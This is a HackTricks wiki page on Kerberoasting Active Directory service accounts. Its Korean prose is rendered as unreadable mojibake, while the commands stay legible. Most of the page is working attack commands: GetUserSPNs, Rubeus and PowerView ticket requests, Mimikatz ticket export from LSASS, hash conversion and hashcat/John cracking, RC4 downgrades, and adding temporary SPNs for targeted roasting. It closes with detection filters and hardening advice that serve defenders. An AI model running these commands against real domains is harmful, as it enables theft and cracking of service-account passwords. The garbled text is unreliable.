Kerberoast
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Kerberoast
Kerberoasting์ TGS ํฐ์ผ ํ๋์ ์ด์ ์ ๋ง์ถฅ๋๋ค. ํนํ ์ปดํจํฐ ๊ณ์ ์ ์ ์ธํ Active Directory (AD)์ ์ฌ์ฉ์ ๊ณ์ ์ผ๋ก ์คํ๋๋ ์๋น์ค์ ์ฐ๊ด๋ ํฐ์ผ์ ๋ชฉํ๋ก ํฉ๋๋ค. ์ด๋ฌํ ํฐ์ผ์ ์ํธํ๋ ์ฌ์ฉ์ ๋น๋ฐ๋ฒํธ์์ ์ ๋ํ ํค๋ฅผ ์ฌ์ฉํ๋ฏ๋ก ์คํ๋ผ์ธ์ผ๋ก ์๊ฒฉ ์ฆ๋ช ์ ํฌ๋ํนํ ์ ์์ต๋๋ค. ์ฌ์ฉ์ ๊ณ์ ์ด ์๋น์ค๋ก ์ฌ์ฉ๋๋ ๊ฒ์ ServicePrincipalName (SPN) ์์ฑ์ด ๋น์ด ์์ง ์์ ๊ฒ์ผ๋ก ํ์๋ฉ๋๋ค.
์ด๋ค ์ธ์ฆ๋ ๋๋ฉ์ธ ์ฌ์ฉ์๋ TGS ํฐ์ผ์ ์์ฒญํ ์ ์์ผ๋ฏ๋ก ํน๋ณํ ๊ถํ์ ํ์ํ์ง ์์ต๋๋ค.
ํต์ฌ ํฌ์ธํธ
- ์ฌ์ฉ์ ๊ณ์ ์ผ๋ก ์คํ๋๋ ์๋น์ค์ TGS ํฐ์ผ์ ๋์์ผ๋ก ํจ(์ฆ, SPN์ด ์ค์ ๋ ๊ณ์ ; ์ปดํจํฐ ๊ณ์ ์๋).
- ํฐ์ผ์ ์๋น์ค ๊ณ์ ๋น๋ฐ๋ฒํธ์์ ์ ๋๋ ํค๋ก ์ํธํ๋๋ฉฐ ์คํ๋ผ์ธ์์ ํฌ๋ํน ๊ฐ๋ฅ.
- ๊ถํ ์์น ๋ถํ์; ์ธ์ฆ๋ ๊ณ์ ์ด๋ฉด ๋๊ตฌ๋ TGS ํฐ์ผ์ ์์ฒญํ ์ ์์.
Warning
๋๋ถ๋ถ์ ๊ณต๊ฐ ํด์ AES๋ณด๋ค ํฌ๋ํน์ด ๋น ๋ฅด๊ธฐ ๋๋ฌธ์ RC4-HMAC (etype 23) ์๋น์ค ํฐ์ผ ์์ฒญ์ ์ ํธํฉ๋๋ค. RC4 TGS ํด์๋
$krb5tgs$23$*๋ก ์์ํ๊ณ , AES128์$krb5tgs$17$*, AES256์$krb5tgs$18$*๋ก ์์ํฉ๋๋ค. ๊ทธ๋ฌ๋ ๋ง์ ํ๊ฒฝ์ด AES-only๋ก ์ด๋ํ๊ณ ์์ต๋๋ค. RC4๋ง ๊ด๋ จ ์๋ค๊ณ ๊ฐ์ ํ์ง ๋ง์ญ์์ค. ๋ํ โspray-and-prayโ roasting์ ํผํ์ญ์์ค. Rubeus์ ๊ธฐ๋ณธ kerberoast๋ ๋ชจ๋ SPN์ ๋ํด ์ฟผ๋ฆฌํ๊ณ ํฐ์ผ์ ์์ฒญํ ์ ์์ด ์์์ด ํฝ๋๋ค. ๋จผ์ ํฅ๋ฏธ๋ก์ด principal์ ์ด๊ฑฐํ๊ณ ํ๊ฒํ ํ์ธ์.
์๋น์ค ๊ณ์ ๋น๋ฐ ๋ฐ Kerberos ์ํธํ ๋น์ฉ
๋ง์ ์๋น์ค๊ฐ ์ฌ์ ํ ์๋์ผ๋ก ๊ด๋ฆฌ๋๋ ๋น๋ฐ๋ฒํธ๋ฅผ ๊ฐ์ง ์ฌ์ฉ์ ๊ณ์ ์ผ๋ก ์คํ๋ฉ๋๋ค. KDC๋ ์๋น์ค ํฐ์ผ์ ํด๋น ๋น๋ฐ๋ฒํธ์์ ์ ๋๋ ํค๋ก ์ํธํํ์ฌ ์ด๋ค ์ธ์ฆ๋ ์ฃผ์ฒด์๊ฒ๋ ์ํธ๋ฌธ์ ์ ๋ฌํ๋ฏ๋ก, kerberoasting์ ์ ๊ธ์ด๋ DC ํ ๋ ๋ฉํธ๋ฆฌ ์์ด ๋ฌด์ ํ ์คํ๋ผ์ธ ์ถ์ธก์ ์ ๊ณตํฉ๋๋ค. ์ํธํ ๋ชจ๋๊ฐ ํฌ๋ํน ์์ฐ์ ๊ฒฐ์ ํฉ๋๋ค:
| Mode | Key derivation | Encryption type | Approx. RTX 5090 throughput* | Notes |
|---|---|---|---|---|
| AES + PBKDF2 | PBKDF2-HMAC-SHA1 with 4,096 iterations and a per-principal salt generated from the domain + SPN | etype 17/18 ($krb5tgs$17$, $krb5tgs$18$) | ~6.8 million guesses/s | Salt blocks rainbow tables but still allows fast cracking of short passwords. |
| RC4 + NT hash | Single MD4 of the password (unsalted NT hash); Kerberos only mixes in an 8-byte confounder per ticket | etype 23 ($krb5tgs$23$) | ~4.18 billion guesses/s | ~1000ร faster than AES; attackers force RC4 whenever msDS-SupportedEncryptionTypes permits it. |
*Benchmarks from Chick3nman as d in Matthew Greenโs Kerberoasting analysis.
RC4์ confounder๋ ๋จ์ง ํค์คํธ๋ฆผ์ ๋ฌด์์ํํ ๋ฟ์ด๋ฉฐ, ์ถ์ธก๋น ์์ ๋์ ๋๋ฆฌ์ง๋ ์์ต๋๋ค. ์๋น์ค ๊ณ์ ์ด ๋ฌด์์ ๋น๋ฐ(gMSA/dMSA, machine accounts, ๋๋ vault-managed strings)์ ์์กดํ์ง ์๋ ํ, ํ๊ฒฉ ์๋๋ ์์ ํ GPU ์์์ ๋ฌ๋ ค ์์ต๋๋ค. AES-only etypes๋ฅผ ๊ฐ์ ํ๋ฉด ์ด๋น ์์ญ์ต ๊ฑด ์ถ์ธก์ ์ฐ์์ฑ์ ์ ๊ฑฐํ ์ ์์ง๋ง, ์ฝํ ์ธ๊ฐ ๋น๋ฐ๋ฒํธ๋ ์ฌ์ ํ PBKDF2์ ์ํด ๋ฌด๋์ง๋๋ค.
๊ณต๊ฒฉ
Linux
# Metasploit Framework
msf> use auxiliary/gather/get_user_spns
# Impacket โ request and save roastable hashes (prompts for password)
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER> -outputfile hashes.kerberoast
# With NT hash
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USER> -outputfile hashes.kerberoast
# Target a specific userโs SPNs only (reduce noise)
GetUserSPNs.py -request-user <samAccountName> -dc-ip <DC_IP> <DOMAIN>/<USER>
# kerberoast by @skelsec (enumerate and roast)
# 1) Enumerate kerberoastable users via LDAP
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN>\\<USER>:<PASS>@<DC_IP>' -o kerberoastable
# 2) Request TGS for selected SPNs and dump
kerberoast spnroast 'kerberos+password://<DOMAIN>\\<USER>:<PASS>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes
kerberoast ๊ฒ์ฌ๋ฅผ ํฌํจํ ๋ค๊ธฐ๋ฅ ๋๊ตฌ:
# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN> -ip <DC_IP> -u <USER> -p <PASS> -c
Windows
- kerberoastable ์ฌ์ฉ์ ์ด๊ฑฐ
# Built-in
setspn.exe -Q */* # Focus on entries where the backing object is a user, not a computer ($)
# PowerView
Get-NetUser -SPN | Select-Object serviceprincipalname
# Rubeus stats (AES/RC4 coverage, pwd-last-set years, etc.)
.\Rubeus.exe kerberoast /stats
- Technique 1: TGS ์์ฒญ ๋ฐ dump from memory
# Acquire a single service ticket in memory for a known SPN
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SPN>" # e.g. MSSQLSvc/mgmt.domain.local
# Get all cached Kerberos tickets
klist
# Export tickets from LSASS (requires admin)
Invoke-Mimikatz -Command '"kerberos::list /export"'
# Convert to cracking formats
python2.7 kirbi2john.py .\some_service.kirbi > tgs.john
# Optional: convert john -> hashcat etype23 if needed
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$*\1*$\2/' tgs.john > tgs.hashcat
- ๊ธฐ๋ฒ 2: ์๋ํ ๋๊ตฌ
# PowerView โ single SPN to hashcat format
Request-SPNTicket -SPN "<SPN>" -Format Hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
# PowerView โ all user SPNs -> CSV
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
# Rubeus โ default kerberoast (be careful, can be noisy)
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
# Rubeus โ target a single account
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast
# Rubeus โ target admins only
.\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap
Warning
TGS ์์ฒญ์ Windows Security Event 4769๋ฅผ ์์ฑํฉ๋๋ค (Kerberos ์๋น์ค ํฐ์ผ์ด ์์ฒญ๋์์ต๋๋ค).
OPSEC ๋ฐ AES ์ ์ฉ ํ๊ฒฝ
- ์๋์ ์ผ๋ก AES๊ฐ ์๋ ๊ณ์ ์ ๋ํด RC4 ์์ฒญ:
- Rubeus:
/rc4opsec๋ tgtdeleg์ ์ฌ์ฉํ์ฌ AES๊ฐ ์๋ ๊ณ์ ์ ์ด๊ฑฐํ๊ณ RC4 ์๋น์ค ํฐ์ผ์ ์์ฒญํฉ๋๋ค. - Rubeus:
/tgtdeleg์ kerberoast์ ํจ๊ป ์ฌ์ฉํ๋ฉด ๊ฐ๋ฅํ ๊ฒฝ์ฐ RC4 ์์ฒญ๋ ํธ๋ฆฌ๊ฑฐํฉ๋๋ค. - ์กฐ์ฉํ ์คํจํ๋ ๋์ AES ์ ์ฉ ๊ณ์ ์ Roast:
- Rubeus:
/aes๋ AES๊ฐ ํ์ฑํ๋ ๊ณ์ ์ ์ด๊ฑฐํ๊ณ AES ์๋น์ค ํฐ์ผ(etype 17/18)์ ์์ฒญํฉ๋๋ค. - ์ด๋ฏธ TGT(PTT์ด๊ฑฐ๋ .kirbi์์ ์ป์ ๊ฒฝ์ฐ)๋ฅผ ๋ณด์ ํ๊ณ ์๋ค๋ฉด
/ticket:<blob|path>๋ฅผ/spn:<SPN>๋๋/spns:<file>์ ํจ๊ป ์ฌ์ฉํ์ฌ LDAP์ ๊ฑด๋๋ธ ์ ์์ต๋๋ค. - ๋์ ์ง์ , ์ฐ๋กํ๋ง ๋ฐ ๋ ธ์ด์ฆ ๊ฐ์:
- ์ฌ์ฉ:
/user:<sam>,/spn:<spn>,/resultlimit:<N>,/delay:<ms>๋ฐ/jitter:<1-100>. /pwdsetbefore:<MM-dd-yyyy>(์ด์ ๋น๋ฐ๋ฒํธ)๋ฅผ ์ฌ์ฉํด ์ฝํ ๊ฐ๋ฅ์ฑ์ด ์๋ ์ํธ๋ฅผ ํํฐ๋งํ๊ฑฐ๋/ou:<DN>๋ก ๊ถํ ์๋ OU๋ฅผ ๋์์ผ๋ก ์ง์ ํ์ธ์.
Examples (Rubeus):
# Kerberoast only AES-enabled accounts
.\Rubeus.exe kerberoast /aes /outfile:hashes.aes
# Request RC4 for accounts without AES (downgrade via tgtdeleg)
.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.rc4
# Roast a specific SPN with an existing TGT from a non-domain-joined host
.\Rubeus.exe kerberoast /ticket:C:\\temp\\tgt.kirbi /spn:MSSQLSvc/sql01.domain.local
Cracking
# John the Ripper
john --format=krb5tgs --wordlist=wordlist.txt hashes.kerberoast
# Hashcat
# RC4-HMAC (etype 23)
hashcat -m 13100 -a 0 hashes.rc4 wordlist.txt
# AES128-CTS-HMAC-SHA1-96 (etype 17)
hashcat -m 19600 -a 0 hashes.aes128 wordlist.txt
# AES256-CTS-HMAC-SHA1-96 (etype 18)
hashcat -m 19700 -a 0 hashes.aes256 wordlist.txt
์ง์์ฑ / ์ ์ฉ
๊ณ์ ์ ์ ์ดํ๊ฑฐ๋ ์์ ํ ์ ์๋ค๋ฉด SPN์ ์ถ๊ฐํด ๊ณ์ ์ kerberoastable๋ก ๋ง๋ค ์ ์์ต๋๋ค:
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='fake/WhateverUn1Que'} -Verbose
๋ ์ฌ์ด cracking์ ์ํด RC4๋ฅผ ํ์ฑํํ๋๋ก ๊ณ์ ์ ๋ค์ด๊ทธ๋ ์ด๋ํฉ๋๋ค(๋์ ๊ฐ์ฒด์ ๋ํ ์ฐ๊ธฐ ๊ถํ ํ์):
# Allow only RC4 (value 4) โ very noisy/risky from a blue-team perspective
Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=4}
# Mixed RC4+AES (value 28)
Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=28}
GenericWrite/GenericAll๋ก ์ฌ์ฉ์์ ๋ํ Targeted Kerberoast (์์ SPN)
When BloodHound shows that you have control over a user object (e.g., GenericWrite/GenericAll), you can reliably โtargeted-roastโ that specific user even if they do not currently have any SPNs:
- ์ ์ด ์ค์ธ ์ฌ์ฉ์์๊ฒ ์์ SPN์ ์ถ๊ฐํ์ฌ roastable ์ํ๋ก ๋ง๋ญ๋๋ค.
- ํด๋น SPN์ ๋ํด RC4 (etype 23)๋ก ์ํธํ๋ TGS-REP๋ฅผ ์์ฒญํ์ฌ cracking์ ์ ๋ฆฌํ๊ฒ ๋ง๋ญ๋๋ค.
- hashcat์ผ๋ก
$krb5tgs$23$...ํด์๋ฅผ crackํฉ๋๋ค. - footprint๋ฅผ ์ค์ด๊ธฐ ์ํด SPN์ ์ ๋ฆฌํฉ๋๋ค.
Windows (PowerView/Rubeus):
# Add temporary SPN on the target user
Set-DomainObject -Identity <targetUser> -Set @{serviceprincipalname='fake/TempSvc-<rand>'} -Verbose
# Request RC4 TGS for that user (single target)
.\Rubeus.exe kerberoast /user:<targetUser> /nowrap /rc4
# Remove SPN afterwards
Set-DomainObject -Identity <targetUser> -Clear serviceprincipalname -Verbose
Linux ํ ์ค ๋ช ๋ น(targetedKerberoast.py๋ SPN ์ถ๊ฐ -> TGS (etype 23) ์์ฒญ -> SPN ์ ๊ฑฐ๋ฅผ ์๋ํํฉ๋๋ค):
targetedKerberoast.py -d '<DOMAIN>' -u <WRITER_SAM> -p '<WRITER_PASS>'
์ถ๋ ฅ๊ฐ์ hashcat autodetect๋ก ํฌ๋ํ์ธ์ (mode 13100 for $krb5tgs$23$):
hashcat <outfile>.hash /path/to/rockyou.txt
Detection notes: SPN์ ์ถ๊ฐ/์ ๊ฑฐํ๋ฉด ๋๋ ํฐ๋ฆฌ ๋ณ๊ฒฝ์ด ๋ฐ์ํฉ๋๋ค(๋์ ์ฌ์ฉ์์ ๋ํ Event ID 5136/4738) ๋ฐ TGS ์์ฒญ์ Event ID 4769๋ฅผ ์์ฑํฉ๋๋ค. ๊ณผ๋ํ ์์ฒญ(throttling)์ ๊ณ ๋ คํ๊ณ ์ฆ์ ์ ๋ฆฌ(cleanup)ํ์ธ์.
You can find useful tools for kerberoast attacks here: https://github.com/nidem/kerberoast
If you find this error from Linux: Kerberos SessionError: KRB_AP_ERR_SKEW (Clock skew too great) itโs due to local time skew. Sync to the DC:
ntpdate <DC_IP>(deprecated on some distros)rdate -n <DC_IP>
๋๋ฉ์ธ ๊ณ์ ์์ด Kerberoast ์ํ (AS-requested STs)
In September 2022, Charlie Clark showed that if a principal does not require pre-authentication, itโs possible to obtain a service ticket via a crafted KRB_AS_REQ by altering the sname in the request body, effectively getting a service ticket instead of a TGT. This mirrors AS-REP roasting and does not require valid domain credentials.
See details: Semperis write-up โNew Attack Paths: AS-requested STsโ.
Warning
์ ํจํ ์๊ฒฉ ์ฆ๋ช ์ด ์์ผ๋ฉด ์ด ๊ธฐ๋ฒ์ผ๋ก LDAP๋ฅผ ์ฟผ๋ฆฌํ ์ ์์ผ๋ฏ๋ก ์ฌ์ฉ์ ๋ชฉ๋ก์ ๋ฐ๋์ ์ ๊ณตํด์ผ ํฉ๋๋ค.
Linux
- Impacket (PR #1413):
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile users.txt -dc-host dc.domain.local domain.local/
Windows
- Rubeus (PR #139):
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:domain.local /dc:dc.domain.local /nopreauth:NO_PREAUTH_USER /spn:TARGET_SERVICE
๊ด๋ จ
AS-REP roastable ์ฌ์ฉ์๋ฅผ ๋์์ผ๋ก ํ๋ ๊ฒฝ์ฐ, ๋ค์์ ์ฐธ์กฐํ์ธ์:
ํ์ง
Kerberoasting์ ์๋ฐํ ์ ์์ต๋๋ค. DCs(๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ)์์ Event ID 4769๋ฅผ ์์งํ๊ณ ๋ ธ์ด์ฆ๋ฅผ ์ค์ด๊ธฐ ์ํด ํํฐ๋ฅผ ์ ์ฉํ์ธ์:
- ์๋น์ค ์ด๋ฆ
krbtgt๋ฐ$๋ก ๋๋๋ ์๋น์ค ์ด๋ฆ(์ปดํจํฐ ๊ณ์ )์ ์ ์ธํ์ธ์. - ์ปดํจํฐ ๊ณ์ ์ ์์ฒญ(
*$$@*)์ ์ ์ธํ์ธ์. - ์ฑ๊ณตํ ์์ฒญ๋ง(์คํจ ์ฝ๋
0x0). - ์ํธํ ์ ํ์ ์ถ์ ํ์ธ์: RC4 (
0x17), AES128 (0x11), AES256 (0x12).0x17๋ง์ผ๋ก ๊ฒฝ๋ณด๋ฅผ ๋ฐ์์ํค์ง ๋ง์ธ์.
์์ PowerShell ์ด๊ธฐ ๋ถ์:
Get-WinEvent -FilterHashtable @{Logname='Security'; ID=4769} -MaxEvents 1000 |
Where-Object {
($_.Message -notmatch 'krbtgt') -and
($_.Message -notmatch '\$$') -and
($_.Message -match 'Failure Code:\s+0x0') -and
($_.Message -match 'Ticket Encryption Type:\s+(0x17|0x12|0x11)') -and
($_.Message -notmatch '\$@')
} |
Select-Object -ExpandProperty Message
Additional ideas:
- ํธ์คํธ/์ฌ์ฉ์๋ณ ์ ์ SPN ์ฌ์ฉ์ ๊ธฐ์ค์ ์ ์ค์ ํ๊ณ ; ๋จ์ผ principal(์ฃผ์ฒด)์์ ๋ฐ์ํ๋ ์๋ก ๋ค๋ฅธ SPN ์์ฒญ์ ๋๋ ๊ธ์ฆ์ ํ์งํ์ฌ ๊ฒฝ๋ณด๋ฅผ ๋ฐ์์ํค์ธ์.
- AES๋ก ๊ฐํ๋ ๋๋ฉ์ธ์์ ๋น์ ์์ ์ธ RC4 ์ฌ์ฉ์ ํ์(ํ์ง)ํ์ธ์.
Mitigation / Hardening
- ์๋น์ค์ gMSA/dMSA ๋๋ ๋จธ์ ๊ณ์ ์ ์ฌ์ฉํ์ธ์. ๊ด๋ฆฌํ ๊ณ์ ์ 120์ ์ด์์ ๋ฌด์์ ๋น๋ฐ๋ฒํธ๋ฅผ ๊ฐ์ง๋ฉฐ ์๋์ผ๋ก ๊ต์ฒด๋๋ฏ๋ก ์คํ๋ผ์ธ ํฌ๋ํน์ด ์ฌ์ค์ ๋ถ๊ฐ๋ฅํฉ๋๋ค.
- ์๋น์ค ๊ณ์ ์ ๋ํด
msDS-SupportedEncryptionTypes๋ฅผ AES ์ ์ฉ(decimal 24 / hex 0x18)์ผ๋ก ์ค์ ํ ํ ๋น๋ฐ๋ฒํธ๋ฅผ ๊ต์ฒดํ์ฌ AES ํค๊ฐ ํ์๋๋๋ก ํ์ธ์. - ๊ฐ๋ฅํ๋ฉด ํ๊ฒฝ์์ RC4๋ฅผ ๋นํ์ฑํํ๊ณ RC4 ์ฌ์ฉ ์๋๋ฅผ ๋ชจ๋ํฐ๋งํ์ธ์. DC(๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ)์์๋
msDS-SupportedEncryptionTypes๊ฐ ์ค์ ๋์ง ์์ ๊ณ์ ์ ๊ธฐ๋ณธ๊ฐ์ ์ ์ดํ๊ธฐ ์ํดDefaultDomainSupportedEncTypes๋ ์ง์คํธ๋ฆฌ ๊ฐ์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ฒ ์ ํ ํ ์คํธํ์ธ์. - ์ฌ์ฉ์ ๊ณ์ ์์ ๋ถํ์ํ SPN์ ์ ๊ฑฐํ์ธ์.
- ๊ด๋ฆฌํ ๊ณ์ ์ด ๋ถ๊ฐ๋ฅํ ๊ฒฝ์ฐ ๊ธธ๊ณ ๋ฌด์์์ธ ์๋น์ค ๊ณ์ ๋น๋ฐ๋ฒํธ(25์ ์ด์)๋ฅผ ์ฌ์ฉํ์ธ์; ํํ ๋น๋ฐ๋ฒํธ๋ ๊ธ์งํ๊ณ ์ ๊ธฐ์ ์ผ๋ก ๊ฐ์ฌํ์ธ์.
References
- https://github.com/ShutdownRepo/targetedKerberoast
- Matthew Green โ Kerberoasting: ๋ ๊ฑฐ์ Kerberos ์ํธํ์์์ ์ ๊ธฐ์ ยท๊ณ ์ํฅ ๊ณต๊ฒฉ (2025-09-10)
- https://www.tarlogic.com/blog/how-to-attack-kerberos/
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled
- Microsoft Security Blog (2024-10-11) โ Microsoftโs guidance to help mitigate Kerberoasting
- SpecterOps โ Rubeus Roasting ๋ฌธ์
- HTB: Delegate โ SYSVOL creds โ Targeted Kerberoast โ Unconstrained Delegation โ DCSync to DA
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


